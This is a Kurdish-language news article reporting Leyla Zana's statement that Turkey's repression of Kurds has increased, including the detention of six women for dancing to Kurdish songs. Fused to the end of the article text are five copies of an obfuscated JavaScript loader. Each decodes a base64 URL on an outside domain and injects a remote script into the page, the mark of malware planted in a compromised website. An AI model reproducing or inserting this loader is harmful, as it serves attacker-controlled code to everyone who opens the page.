زۆرداریا ل سەر گەلێ کورد زێدەتر لێ هاتیە

ب، سه‌رجان مەحمود:

سیاسەتمەدارا ناڤدار یا کورد راگەهاند مخابن ل تورکیا نها زۆرداریا ل سەر گەلێ کورد زێدەتر لێ هاتیە و ب جهێ چارەسەریا ئاشتیانە نها هێزێن دەولەتێ رێ ل شاهیێن کوردان ژی دگرن و دخوازن چو تشتەکێ کوردان نەمینیت، مخابن نها رەوشەکا گەلەک خراب هەیە و کورد ژی ڤێ یەکێ قەبوول ناکەن.

لەیلا زانا سیاسەتمدارا ناڤدار یا کورد ل تورکیا دیار کر، د ڤان دەمێن دووماهیێ دا زۆرداریا ل سەر گەلێ کورد گەلەک زێدە بوویە، شەش ژنێن کورد هاتینە دەستەسەر کرن، ئەگەرێ دەستەسەرکرنا وان ژی ئەو بوویە ل بەر سترانێن کوردی سەما کرینە، ئەو یەک ژی نیشا ددەت کو دەستهەلاتا نها یا تورکیا دڤێت ستران و سەما کوردی ژی قەدەغە بکەت، ئەو یەک ب چو رەنگەکێ ناهێتە قەبوول کرن، گەلێ کورد ل تورکیا ڤێ زۆلمێ قەبوول ناکەت، دڤێت دەستهەلاتا نها ب تایبەتی ژی وەزارەتا ناڤخوە داخوازا لێبۆرینێ ژ گەلێ کورد بکەت و جارەکا دی هەمان شاشی نەهێتە دوبارە کرن.
لەیلا زانا ئەو یەک ژی دیار کر، ب سالانە ب بەهانەیێن جودا جودا زۆرداریێ ل کوردان دکەن، زمانێ کوردی قەدەغە کرینە رێ نادەن کورد ب زمانێ خوە یێ دایکێ پەروەردە ببینن، نها ژی دخوازن ستران و سەما کوردی قەدەغە بکەن، ئەو یەک بنپێکرنا مافێن مرۆڤی یە، کورد ڤێ زۆلمێ ب چو رەنگەکێ قەبوول ناکەن و گۆت: (ئەرێ دەستهەلاتا نها یا تورکیا وانە ژ دیرۆکێ وەرنەگرتیە؟ یێن بەری وان گەلەک زۆلم ل کوردان کرن لێ ئەو ژناڤچوون و گەلێ کورد زندی یە و دێ هەر ژی مینیت، ژ بەر ڤێ یەکێ ئەم داخوازێ ژ دەستهەلاتا ئاکپارتیێ دکەین کو دەست ژ ڤان کارێن خوە یێن دوور ژ هەموو بنەمایێن مافێن مرۆڤی بەردەت و رێزێ ل گەلێ کورد بگریت).
سیاسەتمەدارا ناڤدار یا کورد ئەو یەک ژی دیار کر، ئەردۆغان و هەڤالێن وی هەر رۆژ دبێژن کورد برایێن مە نە، ئەرێ براتی وەسایە؟ ئەڤ چ براتیە کو رێ نادەت برایێ وی گوهداریا سترانێن کوردی بکەت، ئەو چ براتیە هەر رۆژ زۆلمێ ل برایێ خوە یێ کورد دکەت؟ مخابن رەوشا نها گەلەک خرابە و هەکە دەستهەلاتا نها دەست ژ سیاسەتا خوە یا خراب ل هەمبەر کوردان بەرنەدەت دێ ئەو یەک تورکیا بەر ب ئالۆزیێن مەزن ڤە بەت و گۆت: (کەس نەشێت ب زۆرداریێ و دەستەسەرکرنێ کوردان بێدەنگ بکەت، ب سالانە کورد خەباتێ بۆ مافێن خوە یێن رەوا دکەن، کوردان بۆ ئازادیێ گەلەک قوربانی داینە و دڤێت دەستهەلاتا ئاکپارتیێ ژی باش بزانیت کو ئەو نەشێن ب زۆرداریێ کوردان بێدەنگ بکەن، خەباتا کوردان ئازادیێ یا بەردەوامە).(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە